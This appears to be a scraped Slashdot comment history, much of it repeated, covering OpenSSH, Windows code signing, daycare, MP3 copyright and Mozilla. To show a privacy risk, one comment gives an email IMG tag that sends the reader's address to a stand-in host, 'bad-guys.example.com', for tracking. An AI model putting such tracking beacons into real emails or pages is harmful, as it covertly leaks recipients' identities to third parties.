Which doesn't mean you should do what you are talking about, only that you can.
It also doesn't mean you shouldn't. In the case of OpenSSH, I can say with certainty that the authors don't care how you use it. They don't have an axe to grind.
He wouldn't have to walk into a dev group and rewrite their tree. If they weren't interested, he could (gasp) fork. Amazing these freedoms you get with this open source thingy, isn't it?
The real problem with all these start-from-scratch efforts that are so pervasive nowadays has nothing to do with cooperation -- it's ego, pure and simple. "I made it all by myself!"
"I have to go look for a new job, which I will likely find within 30 days."
Just be sure to do it quickly -- the tidal wave of ex-dotcommers is coming soon, and will make finding technology jobs that much harder. The fact that only 10% of them will be qualified for the jobs they're getting won't matter much; most employers hiring tech workers don't know the difference. (Think MCSE.)
Your management is making a very bad decision for their company by promoting you to a position you don't want to be in. Giving someone a job they don't want, especially one as important as an IT manager, guarantees that job will be done poorly and will cause many more headaches than it may seem to solve in the short run.
Of course, you might also consider that they really don't want you around, and this is just a creative way of getting rid of you.:-)
I'd bet (without any substantive data to correlate my bet) turning the thing off is as simple as checking a "Don't bother me about this lame-o signed app stuff" box, at least on a machine that hasn't been tightly configured by a competent administrator. The difference is that Microsoft's record on security settings diverges depending on the nature of the setting:
If the default setting is for more security, give a checkbox to the user to allow him to opt to stop being bothered by the security setting when the security setting causes an interruption in the flow of execution.
If the default setting is for less security, require the user to dig through the aforementioned mess of dialogs in order to turn the higher-security setting on.
Again, all bets are off if the machine has a policy configured by an IT control freak. Also, I might add that this attitude is not exclusive to Microsoft -- I think it was first pioneered by Netscape (i.e. Navigator's "do you want to run this?" dialog that could be bypassed vs. having to dig through preferences to turn the cookies off).
Which brings up an interesting point -- is it just executables that are signed? When it comes down to security risks, scripting files and macros are *much* worse. Will Microsoft perhaps get a clue and only allow signed Word macros to do things outside of the document scope?
Honestly, I doubt that consumer-grade users will ever come to that expectation. I mean, come on, these are the people who shut off their worm and virus warnings so that they can run e-mailed exectuable greeting cards or animations.
Where this could present a problem is for shareware/PD/free software apps in the enterprise, where IS is more likely to enforce the signed app rule.
Point well taken. However, seeing as how Whistler will be almost totally useless for the majority of users without the capability to turn this off, I doubt it'll be hard to have it shut off. Besides, Microsoft's history when it comes to implementing security options is to leave the less-secure option on by default. I doubt this will be getting in anyone's way.
God, no kidding. What amazes me is that when this cropped up a couple weeks ago on The Register, I submitted an article about this being an option... it was refused in the space of an hour.
Apparently refusing to read the entire article and making the headline as sensational as possible is a formula for success when you're looking to get a Slashdot headline.
Daycare is paying others to pretend to be your child's family.
School is paying others to be teachers to your child.
If you (and this is to everyone, not explicitly the AC) can't see the difference, perhaps you should reexamine why you'd send a kid to daycare or school in the first place. My personal theory is that you're just getting rid of the kid to make your life more convenient, and what he does there is not as consequential as what it "frees you up" to do.
How have I opted out of parental responsibility by choosing how my
daughter will be cared for?
In the same way that you would opt out of parental responsibility by choosing a filtering software for your children's Web access instead of using the Internet with them, or by setting your TV to block shows that are considered evil by either industry or government instead of not allowing them TV at all unless you're with them. You're making a choice to allow someone else to set the standards for your children.
I've got news for you -
that kind of hovering is smothering. You get children that can't decide anything for themselves.
Excuse me while I go off and weep for myself. I must have been smothered as a child since my grandmother and my mother cared for me. I guess I haven't been making any decisions for myself. I wonder why I got punished for doing things wrong as a child. They must have forced me to make those decisions.
Your argument is complete and utter hogwash, and it sounds like it comes right out of a daycare pamphlet. You don't get smothering from being in the care of parents or family. You get smothering from people who choose to smother. You can have a daycare worker who smothers your children just as well as a parent.
Raising a child is not about producing a clone of yourself. Raising a child is about helping a human being reach
his or her full potential. Exposing a child to new environments is letting the child learn.
Heh. I doubt you could produce a clone of yourself even if you tried. Human beings are like that -- they are always coming up with new and different things. The way you present it, one could reason that with exposure to daycare, you'd be producing a clone of the daycare worker instead of the parent.
That said, I'd sure like to know where you got the idea that being in the care of a loving family member was equivalent to locking a kid up in a little cage in the basement. Kids being cared for by their family are not at a loss here.
I highly recommend that anyone who would call for IT companies (or any company, for that matter) to provide daycare while they are also calling for parental responsibility instead of government censorship think twice about what they are saying. By giving your children, which are supposed to be the most important thing in your life, to daycare, you are explicitly opting out of taking parental responsibility.
My own children will never be in "daycare". Until they start going to school, they'll either be cared for by myself or my wife, or another family member, even if it means we have to live that much more frugally. Those engineers who had to "entertain their children" instead of "concentrating on work" (doesn't that ring alarm bells in anyone else's heads?) had the right idea.
You must be using some definition of "clean" with which I'm not familiar.
I'm not talking about the wacky craziness that is some of the more recent "copyright" legislation. I'm talking about what has been accepted to be illegal (immoral?) for some time -- mass distribution of copyrighted works against the copyright holder's wishes.
Paying for downloads is not fair value, because it doesn't take into account modem
disconnections, data corruption (whoops,/home was full... lemme delete some stuff and try
again), or simple data loss due to human error or hard drive failures
That's a system design issue. If a system makes you pay again and again because you've not completed their download or lost the file, that system is bad. People will not use it (the more likely case) or decide it's worth it anyway, if the artist's works are something they really really want.
There is no "divine right of authors" to tell the rest of the world
what can be done with a story. The only reason the record companies can boss me around right
now derives from legal and military power, not moral authority.
Ultimately, you're correct. There is no such divine right. There is also no such divine right mass-pass-around copies of a work. We've instituted this in the U.S. and elsewhere in order to encourage the creation of these works.
Bottom line is this: there are artists out there willing to give a system like the one you describe a try. I assume you mean what you say with your support of a voluntary payment system. If you want such a change, then get with those artists and show it can be done. You will attract more and more people. FWIW, I think that would be really cool. But I'm not going to subvert those who don't want me to in order to accomplish my goals.
Once information is out, there is no way to put it back in. If you've read "the culture" books from
banks, you might have encountered an interesting concept: the only form of private information is
the information you keep to yourself:-D
It seems to me the problem is thus solved. Why waste bandwidth trading MP3's? Just have everyone relate their experiences or sing the songs to each other.
This is a "good way to fight"? It seems someone would rather have vigilante justice than clean-cut law.
Ultimately, it seems this is all about just wanting to get free music. Would you buy their music if they sold you MP3s online? Would you then respect their ownership, and instead of passing it around, point others to visit the site?
If someone doesn't want to let their music be passed around, they have every right not to let it be. If someone likes the concept of their songs being passed around, let it happen! It's up to the creator to decide (or at least, it should be...)
The real question is whether or not Amazon was running another "pricing test" and Apple actually thought they were going to pay a lot less for the patent than they ended up paying.
(Or maybe they license lots of patents, and can expect to be overcharged in the future...)
So this isn't an issue, eh? Consider an e-mail with an IMG tag embedded that runs to a CGI. A parameter is given for your e-mail address (i.e. IMG SRC="http://bad-guys.example.com/logo?email=steve_ g_parker@SPAM_ME.hotmail.com">). Said CGI offloads a cookie to your machine.
Now bad-guys.example.com knows who you are and can track you all over their site.
If there's one thing CGI does well, it's smooth metal surfaces, so it'll look fine.
Seems to me that R2 started each movie as smooth metal, but by time you started getting to the end (before the celebratory ending scenes, mind you!) he was much less smooth, and probably had more blast marks than metal on his surface.
The example I was given was in prime-factoring numbers (which is where all of the cryptography comes in), and as far as I know, this is the only use anyone has invented for such a computer.
This may seem incredibly short-sighted, but what's then to stop us from putting a quantum-computer-on-a-card inside of a traditional computer to handle those sort of problems?
You're right; Moz can't completely die, unless nobody ever hacks on it again. I'd wager that won't happen.
What I do see happening, largely because of the repeated Mozilla obituaries in the less-informed press, but also because of growing impatience among developers is this:
The dream of a standards-compliant web may have to be put on hold while the IE 86% (or whatever the figure is today) is what web authors target.
Moz may lose developers and therefore some steam.
Keep in mind, though, that just as the press has never reviewed a high-profile free software project before, they also have never pronounced one "dead" before. Even if Steve Case reads the press and abandons Moz tomorrow (which would indeed be a devestating blow), parts of the code can still live on (think Galeon). And I, for one, think XUL and its ilk have a tremendous potential in the applications server market that everyone keeps talking about.
In short, the Suck article raises some interesting points, but is generally clueless (though a tad more clueful than many other Moz obituaries I've seen).
Slashdot Mirror
It also doesn't mean you shouldn't. In the case of OpenSSH, I can say with certainty that the authors don't care how you use it. They don't have an axe to grind.
I'm very interested in this. Can you provide a copy of RMS' response?
He wouldn't have to walk into a dev group and rewrite their tree. If they weren't interested, he could (gasp) fork. Amazing these freedoms you get with this open source thingy, isn't it?
The real problem with all these start-from-scratch efforts that are so pervasive nowadays has nothing to do with cooperation -- it's ego, pure and simple. "I made it all by myself!"
Just be sure to do it quickly -- the tidal wave of ex-dotcommers is coming soon, and will make finding technology jobs that much harder. The fact that only 10% of them will be qualified for the jobs they're getting won't matter much; most employers hiring tech workers don't know the difference. (Think MCSE.)
Your management is making a very bad decision for their company by promoting you to a position you don't want to be in. Giving someone a job they don't want, especially one as important as an IT manager, guarantees that job will be done poorly and will cause many more headaches than it may seem to solve in the short run.
Of course, you might also consider that they really don't want you around, and this is just a creative way of getting rid of you. :-)
Try http://www.handle.net/. Stumbled across it some time ago with some Python doco, IIRC. I had no idea it had acquired any kind of acceptance.
I'd bet (without any substantive data to correlate my bet) turning the thing off is as simple as checking a "Don't bother me about this lame-o signed app stuff" box, at least on a machine that hasn't been tightly configured by a competent administrator. The difference is that Microsoft's record on security settings diverges depending on the nature of the setting:
Again, all bets are off if the machine has a policy configured by an IT control freak. Also, I might add that this attitude is not exclusive to Microsoft -- I think it was first pioneered by Netscape (i.e. Navigator's "do you want to run this?" dialog that could be bypassed vs. having to dig through preferences to turn the cookies off).
Which brings up an interesting point -- is it just executables that are signed? When it comes down to security risks, scripting files and macros are *much* worse. Will Microsoft perhaps get a clue and only allow signed Word macros to do things outside of the document scope?
Honestly, I doubt that consumer-grade users will ever come to that expectation. I mean, come on, these are the people who shut off their worm and virus warnings so that they can run e-mailed exectuable greeting cards or animations.
Where this could present a problem is for shareware/PD/free software apps in the enterprise, where IS is more likely to enforce the signed app rule.
Point well taken. However, seeing as how Whistler will be almost totally useless for the majority of users without the capability to turn this off, I doubt it'll be hard to have it shut off. Besides, Microsoft's history when it comes to implementing security options is to leave the less-secure option on by default. I doubt this will be getting in anyone's way.
God, no kidding. What amazes me is that when this cropped up a couple weeks ago on The Register, I submitted an article about this being an option... it was refused in the space of an hour.
Apparently refusing to read the entire article and making the headline as sensational as possible is a formula for success when you're looking to get a Slashdot headline.
I want that money too, since I won't be letting daycare workers pretend they're family and raise my children.
Daycare is paying others to pretend to be your child's family.
School is paying others to be teachers to your child.
If you (and this is to everyone, not explicitly the AC) can't see the difference, perhaps you should reexamine why you'd send a kid to daycare or school in the first place. My personal theory is that you're just getting rid of the kid to make your life more convenient, and what he does there is not as consequential as what it "frees you up" to do.
In the same way that you would opt out of parental responsibility by choosing a filtering software for your children's Web access instead of using the Internet with them, or by setting your TV to block shows that are considered evil by either industry or government instead of not allowing them TV at all unless you're with them. You're making a choice to allow someone else to set the standards for your children.
Excuse me while I go off and weep for myself. I must have been smothered as a child since my grandmother and my mother cared for me. I guess I haven't been making any decisions for myself. I wonder why I got punished for doing things wrong as a child. They must have forced me to make those decisions.
Your argument is complete and utter hogwash, and it sounds like it comes right out of a daycare pamphlet. You don't get smothering from being in the care of parents or family. You get smothering from people who choose to smother. You can have a daycare worker who smothers your children just as well as a parent.
Heh. I doubt you could produce a clone of yourself even if you tried. Human beings are like that -- they are always coming up with new and different things. The way you present it, one could reason that with exposure to daycare, you'd be producing a clone of the daycare worker instead of the parent.
That said, I'd sure like to know where you got the idea that being in the care of a loving family member was equivalent to locking a kid up in a little cage in the basement. Kids being cared for by their family are not at a loss here.
I highly recommend that anyone who would call for IT companies (or any company, for that matter) to provide daycare while they are also calling for parental responsibility instead of government censorship think twice about what they are saying. By giving your children, which are supposed to be the most important thing in your life, to daycare, you are explicitly opting out of taking parental responsibility.
My own children will never be in "daycare". Until they start going to school, they'll either be cared for by myself or my wife, or another family member, even if it means we have to live that much more frugally. Those engineers who had to "entertain their children" instead of "concentrating on work" (doesn't that ring alarm bells in anyone else's heads?) had the right idea.
OpenBSD has sftp support now. http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ ssh/Makefile
I'm not talking about the wacky craziness that is some of the more recent "copyright" legislation. I'm talking about what has been accepted to be illegal (immoral?) for some time -- mass distribution of copyrighted works against the copyright holder's wishes.
That's a system design issue. If a system makes you pay again and again because you've not completed their download or lost the file, that system is bad. People will not use it (the more likely case) or decide it's worth it anyway, if the artist's works are something they really really want.
Ultimately, you're correct. There is no such divine right. There is also no such divine right mass-pass-around copies of a work. We've instituted this in the U.S. and elsewhere in order to encourage the creation of these works.
Bottom line is this: there are artists out there willing to give a system like the one you describe a try. I assume you mean what you say with your support of a voluntary payment system. If you want such a change, then get with those artists and show it can be done. You will attract more and more people. FWIW, I think that would be really cool. But I'm not going to subvert those who don't want me to in order to accomplish my goals.
It seems to me the problem is thus solved. Why waste bandwidth trading MP3's? Just have everyone relate their experiences or sing the songs to each other.
This is a "good way to fight"? It seems someone would rather have vigilante justice than clean-cut law.
Ultimately, it seems this is all about just wanting to get free music. Would you buy their music if they sold you MP3s online? Would you then respect their ownership, and instead of passing it around, point others to visit the site?
If someone doesn't want to let their music be passed around, they have every right not to let it be. If someone likes the concept of their songs being passed around, let it happen! It's up to the creator to decide (or at least, it should be...)
The real question is whether or not Amazon was running another "pricing test" and Apple actually thought they were going to pay a lot less for the patent than they ended up paying.
(Or maybe they license lots of patents, and can expect to be overcharged in the future...)
Mozilla has a problem with this too, and it's in danger of being cast aside because not enough people care about it.
Go cast your vote for bug 28327!
So this isn't an issue, eh? Consider an e-mail with an IMG tag embedded that runs to a CGI. A parameter is given for your e-mail address (i.e. IMG SRC="http://bad-guys.example.com/logo?email=steve_ g_parker@SPAM_ME.hotmail.com">). Said CGI offloads a cookie to your machine.
Now bad-guys.example.com knows who you are and can track you all over their site.
Not sounding so innocent now, is it?
Seems to me that R2 started each movie as smooth metal, but by time you started getting to the end (before the celebratory ending scenes, mind you!) he was much less smooth, and probably had more blast marks than metal on his surface.
This may seem incredibly short-sighted, but what's then to stop us from putting a quantum-computer-on-a-card inside of a traditional computer to handle those sort of problems?
No, it's MPL.
You're right; Moz can't completely die, unless nobody ever hacks on it again. I'd wager that won't happen.
What I do see happening, largely because of the repeated Mozilla obituaries in the less-informed press, but also because of growing impatience among developers is this:
Keep in mind, though, that just as the press has never reviewed a high-profile free software project before, they also have never pronounced one "dead" before. Even if Steve Case reads the press and abandons Moz tomorrow (which would indeed be a devestating blow), parts of the code can still live on (think Galeon). And I, for one, think XUL and its ilk have a tremendous potential in the applications server market that everyone keeps talking about.
In short, the Suck article raises some interesting points, but is generally clueless (though a tad more clueful than many other Moz obituaries I've seen).